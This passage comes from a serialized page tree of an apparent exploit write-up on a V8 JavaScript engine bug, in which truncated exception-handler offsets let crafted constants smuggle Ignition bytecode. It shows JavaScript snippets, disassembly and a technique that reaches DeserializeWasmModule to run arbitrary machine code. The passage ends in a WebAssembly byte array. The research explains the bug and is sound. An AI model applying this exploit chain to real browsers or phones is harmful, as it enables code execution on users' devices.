"type":24,"tag":271,"props":139138,"children":139139},{"style":288},[139140],{"type":29,"value":1171},{"type":24,"tag":261,"props":139142,"children":139144},{"code":139143}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[139145],{"type":24,"tag":135,"props":139146,"children":139147},{"__ignoreMap":7},[139148],{"type":29,"value":139143},{"type":24,"tag":25,"props":139150,"children":139151},{},[139152,139154,139159,139161,139166],{"type":29,"value":139153},"However, the ",{"type":24,"tag":135,"props":139155,"children":139157},{"className":139156},[],[139158],{"type":29,"value":139060},{"type":29,"value":139160}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":24,"tag":135,"props":139162,"children":139164},{"className":139163},[],[139165],{"type":29,"value":56076},{"type":29,"value":139167}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":24,"tag":25,"props":139169,"children":139170},{},[139171,139173,139179],{"type":29,"value":139172},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":24,"tag":135,"props":139174,"children":139176},{"className":139175},[],[139177],{"type":29,"value":139178},"yield*",{"type":29,"value":139180}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":24,"tag":62,"props":139182,"children":139184},{"id":139183},"exploitation",[139185],{"type":29,"value":139186},"Exploitation",{"type":24,"tag":85,"props":139188,"children":139190},{"id":139189},"constant-smuggling",[139191],{"type":29,"value":139192},"Constant Smuggling",{"type":24,"tag":25,"props":139194,"children":139195},{},[139196,139198,139205],{"type":29,"value":139197},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":24,"tag":32,"props":139199,"children":139202},{"href":139200,"rel":139201},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[36],[139203],{"type":29,"value":139204},"technique",{"type":29,"value":139206}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":24,"tag":261,"props":139208,"children":139210},{"code":139209,"language":39040,"meta":7,"className":39038,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[139211],{"type":24,"tag":135,"props":139212,"children":139213},{"__ignoreMap":7},[139214,139242,139269,139296],{"type":24,"tag":271,"props":139215,"children":139216},{"class":273,"line":274},[139217,139221,139225,139229,139233,139238],{"type":24,"tag":271,"props":139218,"children":139219},{"style":278},[139220],{"type":29,"value":19490},{"type":24,"tag":271,"props":139222,"children":139223},{"style":630},[139224],{"type":29,"value":96626},{"type":24,"tag":271,"props":139226,"children":139227},{"style":624},[139228],{"type":29,"value":1712},{"type":24,"tag":271,"props":139230,"children":139231},{"style":624},[139232],{"type":29,"value":819},{"type":24,"tag":271,"props":139234,"children":139235},{"style":477},[139236],{"type":29,"value":139237},"9.255963134931783e61",{"type":24,"tag":271,"props":139239,"children":139240},{"style":288},[139241],{"type":29,"value":1069},{"type":24,"tag":271,"props":139243,"children":139244},{"class":273,"line":284},[139245,139249,139253,139257,139261,139265],{"type":24,"tag":271,"props":139246,"children":139247},{"style":278},[139248],{"type":29,"value":19490},{"type":24,"tag":271,"props":139250,"children":139251},{"style":630},[139252],{"type":29,"value":97500},{"type":24,"tag":271,"props":139254,"children":139255},{"style":624},[139256],{"type":29,"value":1712},{"type":24,"tag":271,"props":139258,"children":139259},{"style":624},[139260],{"type":29,"value":819},{"type":24,"tag":271,"props":139262,"children":139263},{"style":477},[139264],{"type":29,"value":139237},{"type":24,"tag":271,"props":139266,"children":139267},{"style":288},[139268],{"type":29,"value":1069},{"type":24,"tag":271,"props":139270,"children":139271},{"class":273,"line":294},[139272,139276,139280,139284,139288,139292],{"type":24,"tag":271,"props":139273,"children":139274},{"style":278},[139275],{"type":29,"value":19490},{"type":24,"tag":271,"props":139277,"children":139278},{"style":630},[139279],{"type":29,"value":45113},{"type":24,"tag":271,"props":139281,"children":139282},{"style":624},[139283],{"type":29,"value":1712},{"type":24,"tag":271,"props":139285,"children":139286},{"style":624},[139287],{"type":29,"value":819},{"type":24,"tag":271,"props":139289,"children":139290},{"style":477},[139291],{"type":29,"value":139237},{"type":24,"tag":271,"props":139293,"children":139294},{"style":288},[139295],{"type":29,"value":1069},{"type":24,"tag":271,"props":139297,"children":139298},{"class":273,"line":303},[139299,139303,139307,139311,139315,139319],{"type":24,"tag":271,"props":139300,"children":139301},{"style":278},[139302],{"type":29,"value":19490},{"type":24,"tag":271,"props":139304,"children":139305},{"style":630},[139306],{"type":29,"value":139005},{"type":24,"tag":271,"props":139308,"children":139309},{"style":624},[139310],{"type":29,"value":1712},{"type":24,"tag":271,"props":139312,"children":139313},{"style":624},[139314],{"type":29,"value":819},{"type":24,"tag":271,"props":139316,"children":139317},{"style":477},[139318],{"type":29,"value":139237},{"type":24,"tag":271,"props":139320,"children":139321},{"style":288},[139322],{"type":29,"value":1069},{"type":24,"tag":25,"props":139324,"children":139325},{},[139326],{"type":29,"value":139327},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":24,"tag":25,"props":139329,"children":139330},{},[139331],{"type":29,"value":139332},"We'll use a similar principle here, although much more limited. With",{"type":24,"tag":261,"props":139334,"children":139336},{"code":139335},"let a = 0x0693bebe;\n",[139337],{"type":24,"tag":135,"props":139338,"children":139339},{"__ignoreMap":7},[139340],{"type":29,"value":139335},{"type":24,"tag":25,"props":139342,"children":139343},{},[139344],{"type":29,"value":139345},"We will compile the bytecode:",{"type":24,"tag":261,"props":139347,"children":139349},{"code":139348},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[139350],{"type":24,"tag":135,"props":139351,"children":139352},{"__ignoreMap":7},[139353],{"type":29,"value":139348},{"type":24,"tag":25,"props":139355,"children":139356},{},[139357,139359,139365,139367,139373,139374,139380],{"type":29,"value":139358},"We can then jump to the 3rd byte (",{"type":24,"tag":135,"props":139360,"children":139362},{"className":139361},[],[139363],{"type":29,"value":139364},"0xbe",{"type":29,"value":139366},"), and gain 2 controlled bytes of execution, followed by ",{"type":24,"tag":135,"props":139368,"children":139370},{"className":139369},[],[139371],{"type":29,"value":139372},"0x93 0x02 - 0xf",{"type":29,"value":1357},{"type":24,"tag":135,"props":139375,"children":139377},{"className":139376},[],[139378],{"type":29,"value":139379},"Jump +[2-15]",{"type":29,"value":139381},") to jump into the next constant.",{"type":24,"tag":25,"props":139383,"children":139384},{},[139385,139387,139393,139395,139401,139403,139409],{"type":29,"value":139386},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":24,"tag":135,"props":139388,"children":139390},{"className":139389},[],[139391],{"type":29,"value":139392},"StarX",{"type":29,"value":139394}," instructions, registers 16-121 resulted in two bytes ",{"type":24,"tag":135,"props":139396,"children":139398},{"className":139397},[],[139399],{"type":29,"value":139400},"Star rX",{"type":29,"value":139402}," instructions, and the next batch resulted in 4 byte ",{"type":24,"tag":135,"props":139404,"children":139406},{"className":139405},[],[139407],{"type":29,"value":139408},"Star.ExtraWide rX",{"type":29,"value":139410}," instructions.",{"type":24,"tag":25,"props":139412,"children":139413},{},[139414,139416,139422],{"type":29,"value":139415},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":24,"tag":135,"props":139417,"children":139419},{"className":139418},[],[139420],{"type":29,"value":139421},"0x8931111",{"type":29,"value":12210},{"type":24,"tag":261,"props":139424,"children":139426},{"code":139425,"language":39040,"meta":7,"className":39038,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[139427],{"type":24,"tag":135,"props":139428,"children":139429},{"__ignoreMap":7},[139430,139455,139479,139503,139527,139551,139575],{"type":24,"tag":271,"props":139431,"children":139432},{"class":273,"line":274},[139433,139437,139442,139446,139451],{"type":24,"tag":271,"props":139434,"children":139435},{"style":278},[139436],{"type":29,"value":19490},{"type":24,"tag":271,"props":139438,"children":139439},{"style":630},[139440],{"type":29,"value":139441}," a206",{"type":24,"tag":271,"props":139443,"children":139444},{"style":624},[139445],{"type":29,"value":1712},{"type":24,"tag":271,"props":139447,"children":139448},{"style":477},[139449],{"type":29,"value":139450}," 0x8931111",{"type":24,"tag":271,"props":139452,"children":139453},{"style":288},[139454],{"type":29,"value":1069},{"type":24,"tag":271,"props":139456,"children":139457},{"class":273,"line":284},[139458,139462,139467,139471,139475],{"type":24,"tag":271,"props":139459,"children":139460},{"style":278},[139461],{"type":29,"value":19490},{"type":24,"tag":271,"props":139463,"children":139464},{"style":630},[139465],{"type":29,"value":139466}," a207",{"type":24,"tag":271,"props":139468,"children":139469},{"style":624},[139470],{"type":29,"value":1712},{"type":24,"tag":271,"props":139472,"children":139473},{"style":477},[139474],{"type":29,"value":139450},{"type":24,"tag":271,"props":139476,"children":139477},{"style":288},[139478],{"type":29,"value":1069},{"type":24,"tag":271,"props":139480,"children":139481},{"class":273,"line":294},[139482,139486,139491,139495,139499],{"type":24,"tag":271,"props":139483,"children":139484},{"style":278},[139485],{"type":29,"value":19490},{"type":24,"tag":271,"props":139487,"children":139488},{"style":630},[139489],{"type":29,"value":139490}," a208",{"type":24,"tag":271,"props":139492,"children":139493},{"style":624},[139494],{"type":29,"value":1712},{"type":24,"tag":271,"props":139496,"children":139497},{"style":477},[139498],{"type":29,"value":139450},{"type":24,"tag":271,"props":139500,"children":139501},{"style":288},[139502],{"type":29,"value":1069},{"type":24,"tag":271,"props":139504,"children":139505},{"class":273,"line":303},[139506,139510,139515,139519,139523],{"type":24,"tag":271,"props":139507,"children":139508},{"style":278},[139509],{"type":29,"value":19490},{"type":24,"tag":271,"props":139511,"children":139512},{"style":630},[139513],{"type":29,"value":139514}," a209",{"type":24,"tag":271,"props":139516,"children":139517},{"style":624},[139518],{"type":29,"value":1712},{"type":24,"tag":271,"props":139520,"children":139521},{"style":477},[139522],{"type":29,"value":139450},{"type":24,"tag":271,"props":139524,"children":139525},{"style":288},[139526],{"type":29,"value":1069},{"type":24,"tag":271,"props":139528,"children":139529},{"class":273,"line":312},[139530,139534,139539,139543,139547],{"type":24,"tag":271,"props":139531,"children":139532},{"style":278},[139533],{"type":29,"value":19490},{"type":24,"tag":271,"props":139535,"children":139536},{"style":630},[139537],{"type":29,"value":139538}," a210",{"type":24,"tag":271,"props":139540,"children":139541},{"style":624},[139542],{"type":29,"value":1712},{"type":24,"tag":271,"props":139544,"children":139545},{"style":477},[139546],{"type":29,"value":139450},{"type":24,"tag":271,"props":139548,"children":139549},{"style":288},[139550],{"type":29,"value":1069},{"type":24,"tag":271,"props":139552,"children":139553},{"class":273,"line":321},[139554,139558,139563,139567,139571],{"type":24,"tag":271,"props":139555,"children":139556},{"style":278},[139557],{"type":29,"value":19490},{"type":24,"tag":271,"props":139559,"children":139560},{"style":630},[139561],{"type":29,"value":139562}," a211",{"type":24,"tag":271,"props":139564,"children":139565},{"style":624},[139566],{"type":29,"value":1712},{"type":24,"tag":271,"props":139568,"children":139569},{"style":477},[139570],{"type":29,"value":139450},{"type":24,"tag":271,"props":139572,"children":139573},{"style":288},[139574],{"type":29,"value":1069},{"type":24,"tag":271,"props":139576,"children":139577},{"class":273,"line":330},[139578,139582,139587,139591,139595],{"type":24,"tag":271,"props":139579,"children":139580},{"style":278},[139581],{"type":29,"value":19490},{"type":24,"tag":271,"props":139583,"children":139584},{"style":630},[139585],{"type":29,"value":139586}," a212",{"type":24,"tag":271,"props":139588,"children":139589},{"style":624},[139590],{"type":29,"value":1712},{"type":24,"tag":271,"props":139592,"children":139593},{"style":477},[139594],{"type":29,"value":139450},{"type":24,"tag":271,"props":139596,"children":139597},{"style":288},[139598],{"type":29,"value":1069},{"type":24,"tag":25,"props":139600,"children":139601},{},[139602],{"type":29,"value":139603},"Those instructions result in:",{"type":24,"tag":261,"props":139605,"children":139607},{"code":139606},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[139608],{"type":24,"tag":135,"props":139609,"children":139610},{"__ignoreMap":7},[139611],{"type":29,"value":139606},{"type":24,"tag":25,"props":139613,"children":139614},{},[139615,139617,139623,139625,139629],{"type":29,"value":139616},"(The offset of ",{"type":24,"tag":135,"props":139618,"children":139620},{"className":139619},[],[139621],{"type":29,"value":139622},"Jump",{"type":29,"value":139624}," instructions is added to the ",{"type":24,"tag":10648,"props":139626,"children":139627},{},[139628],{"type":29,"value":77879},{"type":29,"value":139630}," of the instruction.)",{"type":24,"tag":25,"props":139632,"children":139633},{},[139634,139636,139642],{"type":29,"value":139635},"Now, 3 out of the 6 bytes in a ",{"type":24,"tag":135,"props":139637,"children":139639},{"className":139638},[],[139640],{"type":29,"value":139641},"LdaSmi.ExtraWide",{"type":29,"value":139643}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":24,"tag":85,"props":139645,"children":139647},{"id":139646},"exploit-goal",[139648],{"type":29,"value":139649},"Exploit Goal",{"type":24,"tag":25,"props":139651,"children":139652},{},[139653,139655,139661,139662,139668],{"type":29,"value":139654},"Initially we considered using ",{"type":24,"tag":135,"props":139656,"children":139658},{"className":139657},[],[139659],{"type":29,"value":139660},"Star",{"type":29,"value":12298},{"type":24,"tag":135,"props":139663,"children":139665},{"className":139664},[],[139666],{"type":29,"value":139667},"Ldar",{"type":29,"value":139669}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":24,"tag":25,"props":139671,"children":139672},{},[139673,139675,139682],{"type":29,"value":139674},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":24,"tag":32,"props":139676,"children":139679},{"href":139677,"rel":139678},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[36],[139680],{"type":29,"value":139681},"stack pivot and ROP",{"type":29,"value":139683},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":24,"tag":25,"props":139685,"children":139686},{},[139687],{"type":29,"value":139688},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":24,"tag":25,"props":139690,"children":139691},{},[139692],{"type":29,"value":139693},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":24,"tag":25,"props":139695,"children":139696},{},[139697,139699,139705,139707,139713,139715,139721],{"type":29,"value":139698},"At this point, we identified an interesting opcode: ",{"type":24,"tag":135,"props":139700,"children":139702},{"className":139701},[],[139703],{"type":29,"value":139704},"CallRuntime",{"type":29,"value":139706},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":24,"tag":135,"props":139708,"children":139710},{"className":139709},[],[139711],{"type":29,"value":139712},"--allow-natives-syntax",{"type":29,"value":139714}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":24,"tag":135,"props":139716,"children":139718},{"className":139717},[],[139719],{"type":29,"value":139720},"DeserializeWasmModule",{"type":29,"value":41},{"type":24,"tag":25,"props":139723,"children":139724},{},[139725,139727,139734,139735,139740,139741,139747,139749,139756],{"type":29,"value":139726},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":24,"tag":32,"props":139728,"children":139731},{"href":139729,"rel":139730},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[36],[139732],{"type":29,"value":139733},"JIT-compiled functions",{"type":29,"value":26223},{"type":24,"tag":135,"props":139736,"children":139738},{"className":139737},[],[139739],{"type":29,"value":139720},{"type":29,"value":12298},{"type":24,"tag":135,"props":139742,"children":139744},{"className":139743},[],[139745],{"type":29,"value":139746},"SerializeWasmModule",{"type":29,"value":139748}," themselves are only used from test functions, and indeed have been ",{"type":24,"tag":32,"props":139750,"children":139753},{"href":139751,"rel":139752},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[36],[139754],{"type":29,"value":139755},"removed",{"type":29,"value":139757}," from recent production V8 builds due to how abusable this functionality is.",{"type":24,"tag":25,"props":139759,"children":139760},{},[139761,139763,139769,139771,139777,139779,139784,139786,139792,139794,139799,139800,139805,139806,139811,139813,139819,139821,139825],{"type":29,"value":139762},"However, calling this opcode represented a significant challenge:\n",{"type":24,"tag":135,"props":139764,"children":139766},{"className":139765},[],[139767],{"type":29,"value":139768},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":139770},"\nWhere ",{"type":24,"tag":135,"props":139772,"children":139774},{"className":139773},[],[139775],{"type":29,"value":139776},"func-id",{"type":29,"value":139778}," is a 2-byte function ID, ",{"type":24,"tag":135,"props":139780,"children":139782},{"className":139781},[],[139783],{"type":29,"value":45896},{"type":29,"value":139785}," is the index of the last register passed and ",{"type":24,"tag":135,"props":139787,"children":139789},{"className":139788},[],[139790],{"type":29,"value":139791},"argc",{"type":29,"value":139793}," is the number of arguments passed (e.g. passing ",{"type":24,"tag":135,"props":139795,"children":139797},{"className":139796},[],[139798],{"type":29,"value":52048},{"type":29,"value":158},{"type":24,"tag":135,"props":139801,"children":139803},{"className":139802},[],[139804],{"type":29,"value":52191},{"type":29,"value":518},{"type":24,"tag":135,"props":139807,"children":139809},{"className":139808},[],[139810],{"type":29,"value":52174},{"type":29,"value":139812}," would be encoded as ",{"type":24,"tag":135,"props":139814,"children":139816},{"className":139815},[],[139817],{"type":29,"value":139818},"\u003Cr2> \u003C3>",{"type":29,"value":139820},").\nThis requires ",{"type":24,"tag":10648,"props":139822,"children":139823},{},[139824],{"type":29,"value":8686},{"type":29,"value":139826}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":24,"tag":85,"props":139828,"children":139830},{"id":139829},"better-bytecode-control",[139831],{"type":29,"value":139832},"Better Bytecode Control",{"type":24,"tag":25,"props":139834,"children":139835},{},[139836,139838,139845,139847,139853],{"type":29,"value":139837},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":24,"tag":32,"props":139839,"children":139842},{"href":139840,"rel":139841},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[36],[139843],{"type":29,"value":139844},"feedback vector slot",{"type":29,"value":139846},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":24,"tag":135,"props":139848,"children":139850},{"className":139849},[],[139851],{"type":29,"value":139852},"AddSmi",{"type":29,"value":139854}," instruction, it represents the number of operations performed on the target value so far.",{"type":24,"tag":25,"props":139856,"children":139857},{},[139858],{"type":29,"value":139859},"For example, we can look at the below Ignition disassembly:",{"type":24,"tag":261,"props":139861,"children":139863},{"code":139862},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[139864],{"type":24,"tag":135,"props":139865,"children":139866},{"__ignoreMap":7},[139867],{"type":29,"value":139862},{"type":24,"tag":25,"props":139869,"children":139870},{},[139871,139873,139879],{"type":29,"value":139872},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":24,"tag":135,"props":139874,"children":139876},{"className":139875},[],[139877],{"type":29,"value":139878},"AddSmi.ExtraWide",{"type":29,"value":139880},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":24,"tag":25,"props":139882,"children":139883},{},[139884],{"type":29,"value":139885},"Eventually, we can reach a stage like this:",{"type":24,"tag":261,"props":139887,"children":139889},{"code":139888},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[139890],{"type":24,"tag":135,"props":139891,"children":139892},{"__ignoreMap":7},[139893],{"type":29,"value":139888},{"type":24,"tag":25,"props":139895,"children":139896},{},[139897],{"type":29,"value":139898},"If you skip the first two bytes, you have",{"type":24,"tag":97,"props":139900,"children":139901},{},[139902,139933],{"type":24,"tag":101,"props":139903,"children":139904},{},[139905,139910,139912,139917,139919,139925,139927],{"type":24,"tag":135,"props":139906,"children":139908},{"className":139907},[],[139909],{"type":29,"value":139704},{"type":29,"value":139911}," (0x6c) to ",{"type":24,"tag":135,"props":139913,"children":139915},{"className":139914},[],[139916],{"type":29,"value":139720},{"type":29,"value":139918}," (0x0266) starting from register ",{"type":24,"tag":135,"props":139920,"children":139922},{"className":139921},[],[139923],{"type":29,"value":139924},"a2",{"type":29,"value":139926}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":24,"tag":135,"props":139928,"children":139930},{"className":139929},[],[139931],{"type":29,"value":139932},"DeserializeWasmModule(a2, a1)",{"type":24,"tag":101,"props":139934,"children":139935},{},[139936],{"type":29,"value":139937},"a Jump instruction",{"type":24,"tag":85,"props":139939,"children":139941},{"id":139940},"returning-back-to-js",[139942],{"type":29,"value":139943},"Returning Back to JS",{"type":24,"tag":25,"props":139945,"children":139946},{},[139947,139949,139955],{"type":29,"value":139948},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":24,"tag":135,"props":139950,"children":139952},{"className":139951},[],[139953],{"type":29,"value":139954},"yield",{"type":29,"value":139956}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":24,"tag":25,"props":139958,"children":139959},{},[139960],{"type":29,"value":139961},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":24,"tag":261,"props":139963,"children":139965},{"code":139964,"language":39040,"meta":7,"className":39038,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[139966],{"type":24,"tag":135,"props":139967,"children":139968},{"__ignoreMap":7},[139969,139980,140028,140049,140065,140088,140116,140133],{"type":24,"tag":271,"props":139970,"children":139971},{"class":273,"line":274},[139972,139976],{"type":24,"tag":271,"props":139973,"children":139974},{"style":749},[139975],{"type":29,"value":55998},{"type":24,"tag":271,"props":139977,"children":139978},{"style":288},[139979],{"type":29,"value":7145},{"type":24,"tag":271,"props":139981,"children":139982},{"class":273,"line":284},[139983,139988,139992,139997,140001,140006,140010,140015,140019,140023],{"type":24,"tag":271,"props":139984,"children":139985},{"style":630},[139986],{"type":29,"value":139987}," $",{"type":24,"tag":271,"props":139989,"children":139990},{"style":288},[139991],{"type":29,"value":83408},{"type":24,"tag":271,"props":139993,"children":139994},{"style":378},[139995],{"type":29,"value":139996},"'a1 + 0xa931111;'",{"type":24,"tag":271,"props":139998,"children":139999},{"style":288},[140000],{"type":29,"value":41},{"type":24,"tag":271,"props":140002,"children":140003},{"style":598},[140004],{"type":29,"value":140005},"repeat",{"type":24,"tag":271,"props":140007,"children":140008},{"style":288},[140009],{"type":29,"value":606},{"type":24,"tag":271,"props":140011,"children":140012},{"style":477},[140013],{"type":29,"value":140014},"0x059302",{"type":24,"tag":271,"props":140016,"children":140017},{"style":624},[140018],{"type":29,"value":819},{"type":24,"tag":271,"props":140020,"children":140021},{"style":477},[140022],{"type":29,"value":824},{"type":24,"tag":271,"props":140024,"children":140025},{"style":288},[140026],{"type":29,"value":140027},")}\n",{"type":24,"tag":271,"props":140029,"children":140030},{"class":273,"line":294},[140031,140036,140040,140045],{"type":24,"tag":271,"props":140032,"children":140033},{"style":630},[140034],{"type":29,"value":140035}," a1",{"type":24,"tag":271,"props":140037,"children":140038},{"style":624},[140039],{"type":29,"value":4253},{"type":24,"tag":271,"props":140041,"children":140042},{"style":477},[140043],{"type":29,"value":140044}," 0x0402666c",{"type":24,"tag":271,"props":140046,"children":140047},{"style":288},[140048],{"type":29,"value":1069},{"type":24,"tag":271,"props":140050,"children":140051},{"class":273,"line":303},[140052,140056,140061],{"type":24,"tag":271,"props":140053,"children":140054},{"style":749},[140055],{"type":29,"value":42869},{"type":24,"tag":271,"props":140057,"children":140058},{"style":477},[140059],{"type":29,"value":140060}," 0x393e91a",{"type":24,"tag":271,"props":140062,"children":140063},{"style":288},[140064],{"type":29,"value":1069},{"type":24,"tag":271,"props":140066,"children":140067},{"class":273,"line":312},[140068,140072,140076,140080,140084],{"type":24,"tag":271,"props":140069,"children":140070},{"style":288},[140071],{"type":29,"value":54540},{"type":24,"tag":271,"props":140073,"children":140074},{"style":749},[140075],{"type":29,"value":56076},{"type":24,"tag":271,"props":140077,"children":140078},{"style":288},[140079],{"type":29,"value":1357},{"type":24,"tag":271,"props":140081,"children":140082},{"style":630},[140083],{"type":29,"value":1026},{"type":24,"tag":271,"props":140085,"children":140086},{"style":288},[140087],{"type":29,"value":919},{"type":24,"tag":271,"props":140089,"children":140090},{"class":273,"line":321},[140091,140095,140099,140103,140107,140112],{"type":24,"tag":271,"props":140092,"children":140093},{"style":630},[140094],{"type":29,"value":108734},{"type":24,"tag":271,"props":140096,"children":140097},{"style":288},[140098],{"type":29,"value":41},{"type":24,"tag":271,"props":140100,"children":140101},{"style":598},[140102],{"type":29,"value":108743},{"type":24,"tag":271,"props":140104,"children":140105},{"style":288},[140106],{"type":29,"value":606},{"type":24,"tag":271,"props":140108,"children":140109},{"style":378},[140110],{"type":29,"value":140111},"\"foo\"",{"type":24,"tag":271,"props":140113,"children":140114},{"style":288},[140115],{"type":29,"value":1155},{"type":24,"tag":271,"props":140117,"children":140118},{"class":273,"line":330},[140119,140124,140129],{"type":24,"tag":271,"props":140120,"children":140121},{"style":749},[140122],{"type":29,"value":140123}," yield",{"type":24,"tag":271,"props":140125,"children":140126},{"style":630},[140127],{"type":29,"value":140128}," a16",{"type":24,"tag":271,"props":140130,"children":140131},{"style":288},[140132],{"type":29,"value":1069},{"type":24,"tag":271,"props":140134,"children":140135},{"class":273,"line":339},[140136],{"type":24,"tag":271,"props":140137,"children":140138},{"style":288},[140139],{"type":29,"value":1171},{"type":24,"tag":25,"props":140141,"children":140142},{},[140143,140145],{"type":29,"value":140144},"Starting from the final ",{"type":24,"tag":135,"props":140146,"children":140148},{"className":140147},[],[140149],{"type":29,"value":139852},{"type":24,"tag":261,"props":140151,"children":140153},{"code":140152}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[140154],{"type":24,"tag":135,"props":140155,"children":140156},{"__ignoreMap":7},[140157],{"type":29,"value":140152},{"type":24,"tag":25,"props":140159,"children":140160},{},[140161,140163,140168,140170,140176],{"type":29,"value":140162},"The smuggled jump in ",{"type":24,"tag":135,"props":140164,"children":140166},{"className":140165},[],[140167],{"type":29,"value":139852},{"type":29,"value":140169}," will redirect us to ",{"type":24,"tag":135,"props":140171,"children":140173},{"className":140172},[],[140174],{"type":29,"value":140175},"1a e9 93 03",{"type":29,"value":140177},", which results in:",{"type":24,"tag":97,"props":140179,"children":140180},{},[140181,140192],{"type":24,"tag":101,"props":140182,"children":140183},{},[140184,140190],{"type":24,"tag":135,"props":140185,"children":140187},{"className":140186},[],[140188],{"type":29,"value":140189},"Star r16",{"type":29,"value":140191}," (store accumulator to r16)",{"type":24,"tag":101,"props":140193,"children":140194},{},[140195,140200],{"type":24,"tag":135,"props":140196,"children":140198},{"className":140197},[],[140199],{"type":29,"value":139622},{"type":29,"value":140201}," past the throw into the catch relevant code",{"type":24,"tag":25,"props":140203,"children":140204},{},[140205,140207,140213],{"type":29,"value":140206},"This will bring us nicely to the final ",{"type":24,"tag":135,"props":140208,"children":140210},{"className":140209},[],[140211],{"type":29,"value":140212},"yield a16",{"type":29,"value":140214},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":24,"tag":85,"props":140216,"children":140218},{"id":140217},"executing-shellcode",[140219],{"type":29,"value":140220},"Executing Shellcode",{"type":24,"tag":25,"props":140222,"children":140223},{},[140224],{"type":29,"value":140225},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":24,"tag":261,"props":140227,"children":140229},{"code":140228,"language":43283,"meta":7,"className":43281,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 